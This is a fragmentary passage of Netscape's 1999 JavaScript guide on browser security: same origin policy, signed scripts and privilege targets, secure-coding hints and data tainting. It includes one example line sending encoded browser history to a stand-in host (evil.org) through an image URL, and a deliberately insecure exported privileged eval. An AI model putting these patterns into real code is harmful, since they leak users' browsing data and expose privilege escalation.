• Same Origin Policy
• Using Signed Scripts
• Using Data Tainting

• In all releases, the same origin policy is the default policy. This policy restricts getting or setting properties based on document server. See "Same Origin Policy" on page 212.
• JavaScript 1.1 used data tainting to access additional information. See "Using Data Tainting" on page 240.
• JavaScript 1.2 replaced data tainting with the signed script policy. This policy is based on the Java object signing security model. To use the signed script policy in JavaScript, you use specific Java security classes and sign your JavaScript scripts. See "Using Signed Scripts" on page 215.

Same Origin Policy

Table 14.1 Same origin comparisons to http://company.com/dir/page.html

URL	Outcome	Reason
http://company.com/dir2/other.html	Success
http://company.com/dir/inner/another.html	Success
http://www.company.com/dir/other.html	Failure	Different domains
file://D|/myPage.htm	Failure	Different protocols
http://company.com:80/dir/etc.html	Failure	Different port

Table 14.2 Properties subject to origin check

Object	Properties subject to origin check
document	For both read and write: anchors, applets, cookie, domain, embeds, forms, lastModified, length, links, referrer, title, URL, formName (for each named form), reflectedJavaClass (for each Java class reflected into JavaScript using LiveConnect) For write only: all other properties
form	elements
image	lowsrc, src
layer	src
location	All except x and y
window	find

Origin Checks and document.domain

document.domain = "company.com";

Origin Checks of Named Forms

Origin Checks and SCRIPT Tags that Load Documents

user_pref("javascript.allow.file_src_from_non_file", true);

Origin Checks and Layers

Origin Checks and Java Applets

Using Signed Scripts

Introduction to Signed Scripts

• Netscape Object Signing: Establishing Trust for Downloaded Software provides an overview of object signing. Be sure you understand this material before using signed scripts.
• Introduction to the Capabilities Classes gives details on how to use the Java Capabilities API. Because signed scripts use this API to request privileges, you need to understand this information.
• Java Capabilities API introduces the Java API used for object signing and provides details on where to find more information about this API.
• Signing Software with Netscape Signing Tool 1.1 describes the Netscape Signing Tool for creating signed scripts.
• Object-Signing Resources lists documents and resources that provide information on object signing.

SSL Servers and Unsigned Scripts

Codebase Principals

user_pref("signed.applets.codebase_principal_support", true);

NOTE: If a page includes signed scripts and codebase scripts, and signed.applets.codebase_principal_support is enabled, all of the scripts on that page are treated as though they are unsigned, and codebase principals apply.

Scripts Signed by Different Principals

Checking Principals for Windows and Layers

• closed
• height
• outerHeight
• outerWidth
• pageXOffset
• pageYOffset
• screenX
• screenY
• secure
• width

Figure 14.1   Assigning principals to layers

1. If this is the first script that has been seen on the page, assign this script's principals to be the principals for the window. (If the current script is unsigned, this makes the window's principal a codebase principal.) Done.
2. If the innermost container (the container directly including the script) has defined principals, intersect the current script's principals with the container's principals and assign the result to be the principals for the container. If the two sets of principals are not equal, intersecting the sets reduces the number of principals associated with the container. Done.
3. Otherwise, find the innermost container that has defined principals. (This may be the window itself, if there are no intermediate layers.) If the principals of the current script are the same as the principals of that container, leave the principals as is. Done.
4. Otherwise, assign the current script's principals to be the principals of the container. Done.

Identifying Signed Scripts

• To sign an inline script, you add both an ARCHIVE attribute and an ID attribute to the SCRIPT tag for the script you want to sign. If you do not include an ARCHIVE attribute, Navigator uses the ARCHIVE attribute from an earlier script on the same page.
• To sign an event handler, you add an ID attribute for the event handler to the tag containing the event handler. In addition, the HTML page must also contain a signed inline script preceding the event handler. That SCRIPT tag must supply the ARCHIVE attribute.
• To sign a JavaScript entity, you do not do anything special to the entity. Instead, the HTML page must also contain a signed inline script preceding the JavaScript entity. That SCRIPT tag must supply the ARCHIVE and ID attributes.
• To sign an entire JavaScript file, you do not add anything special to the file. Instead, the SCRIPT tag for the script that uses that file must contain the ARCHIVE attribute.

ARCHIVE Attribute

<SCRIPT ARCHIVE="myArchive.jar" SRC="myJavaScript.js"> </SCRIPT>

<SCRIPT ARCHIVE="myArchive.jar" ID="a">
...
</SCRIPT>

<FORM>
<INPUT TYPE="button" VALUE="OK" 
   onClick="alert('A signed script')" ID="b"> 
</FORM>

<SCRIPT ARCHIVE="myArchive.jar" ID="a"> 
document.write("This script is signed."); 
</SCRIPT>

<SCRIPT ID="b"> 
document.write("This script is signed too.");
</SCRIPT>

ID Attribute

<HTML>

<SCRIPT ARCHIVE="firstArchive.jar" ID="a"> 
document.write("This is a signed script."); 
</SCRIPT>

<BODY
   onLoad="alert('A signed script using firstArchive.jar')"
   onLoad="alert('One ID needed for these event handler scripts')"
   ID="b">

<SCRIPT SRC="myJavaScript.js">
</SCRIPT>

<LAYER>
<SCRIPT ARCHIVE="secondArchive.jar" ID="a"> 
document.write("This script uses the secondArchive.jar file.");
</SCRIPT>
</LAYER>

</BODY>
</HTML>

Using Expanded Privileges

netscape.security.PrivilegeManager.enablePrivilege("UniversalSendMail")

7: disabled
5: disabled
2: disabled
3: enabled
1: enabled
4: enabled
6: disabled
8: disabled

<SCRIPT ARCHIVE="ckHistory.jar" ID="a">

function printEnabled(i) {
   if (history[0] == "") {
      document.write(i + ": disabled<BR>");
   } else {
      document.write(i + ": enabled<BR>"); 
   }
}

function f() {
   printEnabled(1); 
}

function g() {
   printEnabled(2);
   netscape.security.PrivilegeManager.enablePrivilege(
      "UniversalBrowserRead");
   printEnabled(3);
   f();
   printEnabled(4); 
}

function h() {
   printEnabled(5);
   g(); 
   printEnabled(6); 
}

printEnabled(7); 
h(); 
printEnabled(8);

</SCRIPT>

Targets

Target	Description
UniversalBrowserRead	Allows reading of privileged data from the browser. This allows the script to pass the same origin check for any document.
UniversalBrowserWrite	Allows modification of privileged data in a browser. This allows the script to pass the same origin check for any document.
UniversalBrowserAccess	Allows both reading and modification of privileged data from the browser. This allows the script to pass the same origin check for any document.
UniversalFileRead	Allows a script to read any files stored on hard disks or other storage media connected to your computer.
UniversalPreferencesRead	Allows the script to read preferences using the navigator.preference method.
UniversalPreferencesWrite	Allows the script to set preferences using the navigator.preference method.
UniversalSendMail	Allows the program to send mail in the user's name.

JavaScript Features Requiring Privileges

• Setting a file upload widget requires UniversalFileRead.
• Submitting a form to a mailto: or news: URL requires UniversalSendMail.
• Using an about: URL other than about:blank requires UniversalBrowserRead.
• event object: Setting any property requires UniversalBrowserWrite.
• DragDrop event: Getting the value of the data property requires UniversalBrowserRead.
• history object: Getting the value of any property requires UniversalBrowserRead.
• navigator object:

• Getting the value of a preference using the preference method requires UniversalPreferencesRead.
• Setting the value of a preference using the preference method requires UniversalPreferencesWrite.
• window object: Allow of the following operations require UniversalBrowserWrite.

• Adding or removing the directory bar, location bar, menu bar, personal bar, scroll bar, status bar, or toolbar.
• Using the methods in the following table under the indicated circumstances

enableExternalCapture	To capture events in pages loaded from different servers. Follow this method with captureEvents.
close	To unconditionally close a browser window.
moveBy	To move a window off the screen.
moveTo	To move a window off the screen.
open	To create a window smaller than 100 x 100 pixels or larger than the screen can accommodate by using innerWidth, innerHeight, outerWidth, and outerHeight. To place a window off screen by using screenX and screenY. To create a window without a titlebar by using titlebar. To use alwaysRaised, alwaysLowered, or z-lock for any setting.
resizeTo	To resize a window smaller than 100 x 100 pixels or larger than the screen can accommodate.
resizeBy	To resize a window smaller than 100 x 100 pixels or larger than the screen can accommodate.

• Setting the properties in the following table under the indicated circumstances:

innerWidth	To set the inner width of a window to a size smaller than 100 x 100 or larger than the screen can accommodate.
innerHeight	To set the inner height of a window to a size smaller than 100 x 100 or larger than the screen can accommodate.

Example

<SCRIPT ARCHIVE="myArchive.jar" ID="a">

function getHistory(i) {
   //Attempt to access privileged information 
   return history[i]; 
}

function getImmediateHistory() {
   //Request privilege
   netscape.security.PrivilegeManager.enablePrivilege(
      "UniversalBrowserRead"); 
   return getHistory(1); 
}

</SCRIPT> 
...
<INPUT TYPE="button" onClick="alert(getImmediateHistory());" ID="b">

Writing the Script

Capturing Events from Other Locations

<SCRIPT ARCHIVE="myArchive.jar" ID="archive">
...
function captureClicks() {
   netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserWrite"); 
   enableExternalCapture();
   captureEvents(Event.CLICK);
   ...
}
...
</SCRIPT>

Isolating an Unsigned Layer within a Signed Container

• You must set the __parent__ property of the layer object to null so that variable lookups performed by the script in the unsigned layer do not follow the parent chain up to the window object and attempt to access the window object's properties, which are protected by the container check.
• Because the standard objects (String, Array, Date, and so on) are defined in the window object and not normally in the layer, you must call the initStandardObjects method of the layer object. This creates copies of the standard objects in the layer's scope.

International Characters in Signed Scripts

• Escape the international characters ('0x\ea', and so on).
• Put the data containing the international characters in a hidden form element, and access the form element through the signed script.
• Separate signed and unsigned scripts into different layers, and use the international characters in the unsigned scripts.
• Remove comments that include international characters.

Importing and Exporting Functions

<SCRIPT LANGUAGE="JavaScript1.2">

exportStmt ::= export exprList
exprList ::= expr | expr, exprList

importStmt ::= import importList
importList ::= importElem | importElem, importList
importElem ::= expr.funName | expr.*

Example

<HTML>
<FRAMESET NAME=myframes ROWS="50%,*" onLoad="inner.myOnLoad()">
<FRAME NAME=inner SRC="access.html">
<FRAME NAME=secureContainer SRC="secureContainer.html">
</FRAMESET>
</HTML>

<HTML>
This page defines a variable and two functions. 
Only one function, publicFunction, is exported.
<BR>

<SCRIPT ARCHIVE="secureContainer.jar" LANGUAGE="JavaScript1.2" ID="a">

function privateFunction() {
   return 7;
}

var privateVariable = 23;

function publicFunction() {
   return 34;
}
export publicFunction;

netscape.security.PrivilegeManager.enablePrivilege(
   "UniversalBrowserRead");
document.write("This page is at " + history[0]);

// Privileges revert automatically when the script terminates.
</SCRIPT>
</HTML>

<HTML>
This page attempts to access an exported function from a signed
container. The access should succeed.

<SCRIPT LANGUAGE="JavaScript1.2">

function myOnLoad() {
   var ctnr = top.frames.secureContainer;
   import ctnr.publicFunction;
   alert("value is " + publicFunction());
}

</SCRIPT>
</HTML>

Hints for Writing Secure JavaScript

Check the Location of the Script

<SCRIPT ARCHIVE="siteSpecific.jar" ID="a" LANGUAGE="JavaScript1.2">
if (document.URL.match(/^http:\/\/www.company.com\//)) {
   netscape.security.PrivilegeManager.enablePrivilege(...);
   // Do your stuff
}
</SCRIPT>

Be Careful What You Export

<SCRIPT ARCHIVE="duh.jar" ID="a">
function myEval(s) {
   netscape.security.PrivilegeManager.enablePrivilege(
      "UniversalFileAccess");
   return eval(s);
}
export myEval; // Don't do this!!!!
</SCRIPT>

Minimize the Trusted Code Base

<SCRIPT ARCHIVE="historyWin.jar" ID="a">
netscape.security.PrivilegeManager.enablePrivilege(
   "UniversalBrowserAccess");
var win = window.open();
for (var i=0; i < history.length; i++) {
   win.document.writeln(history[i] + "<BR>");
}
win.close();
</SCRIPT>

<SCRIPT ARCHIVE="historyWin.jar" ID="a">
var win = window.open();
netscape.security.PrivilegeManager.enablePrivilege(
   "UniversalBrowserAccess");
for (var i=0; i < history.length; i++) {
   win.document.writeln(history[i] + "<BR>");
}
netscape.security.PrivilegeManager.revertPrivilege(
   "UniversalBrowserAccess");
win.close();
</SCRIPT>

<SCRIPT ARCHIVE="historyWin.jar" ID="a">
function writeArray() {
   netscape.security.PrivilegeManager.enablePrivilege(
      "UniversalBrowserAccess");
   for (var i=0; i < history.length; i++) {
      win.document.writeln(history[i] + "<BR>");
   }
}
var win = window.open();
writeArray();
win.close();
</SCRIPT>

Use the Minimal Capability Required for the Task

<SCRIPT ARCHIVE="historyWin.jar" ID="a">
function writeArray() {
   netscape.security.PrivilegeManager.enablePrivilege(
      "UniversalBrowserRead");
   for (var i=0; i < history.length; i++) {
      win.document.writeln(history[i] + "<BR>");
   }
}
var win = window.open();
writeArray();
win.close();
</SCRIPT>

Signing Scripts

Using the Netscape Signing Tool

After Signing

Troubleshooting Signed Scripts

Errors on the Java Console

# Error: Invalid Hash of this JAR entry (-7882)
# jar file: C:\Program Files\Netscape\Users\norris\cache\MVI9CF1F.JAR
# path: 1

Debugging Hash Errors

"User did not grant privilege" Exception or Unsigned Script Dialog Box

Using Data Tainting

• When data tainting is enabled, JavaScript in one window can see properties of another window, no matter what server the other window's document was loaded from. However, the author of the other window taints (marks) property values or other data that should be secure or private, and JavaScript cannot pass these tainted values on to any server without the user's permission.
• When data tainting is disabled, a script cannot access any properties of a window on another server.

How Tainting Works

Table 14.3 Properties tainted by default

Object	Tainted properties
document	cookie, domain, forms, lastModified, links, referrer, title, URL
Form	action, name
any form input element	checked, defaultChecked, defaultValue, name, selectedIndex, selected, toString, text, value
history	current, next, previous, toString
image	name
Option	defaultSelected, selected, text, value
location and Link	hash, host, hostname, href, pathname, port, protocol, search, toString
Plugin	name
window	defaultStatus, name, status

Enabling Tainting

• On Unix, use the setenv command in csh.
• On Windows, use set in autoexec.bat or NT user settings.
• On Macintosh, edit the resource with type "Envi" and number 128 in the Netscape application by removing the two ASCII slashes "//" before the NS_ENABLE_TAINT text at the end of the resource.

if (navigator.taintEnabled()) {
   function1()
}
else function2()

Tainting and Untainting Individual Data Elements

untaintedStat=untaint(window.defaultStatus)
// untaintedStat can now be sent in a URL or form post by other scripts

Tainting that Results from Conditional Statements

• To add taint to a window, call taint with no argument. JavaScript adds the current document's taint code to the accumulator.
• To remove taint from a window, call untaint with no argument. Calling untaint with no arguments removes taint from the accumulator only if the accumulator holds taint from the current window only; if it holds taint from operations done on data elements from other servers, untaint will have no effect. Removing taint from the accumulator results in the accumulator having only the identity taint code.

document.write("<IMG SRC=http://evil.org/cgi.bin/fake-img?" +
   encode(history) + ">")

Last Updated: 05/27/99 21:21:40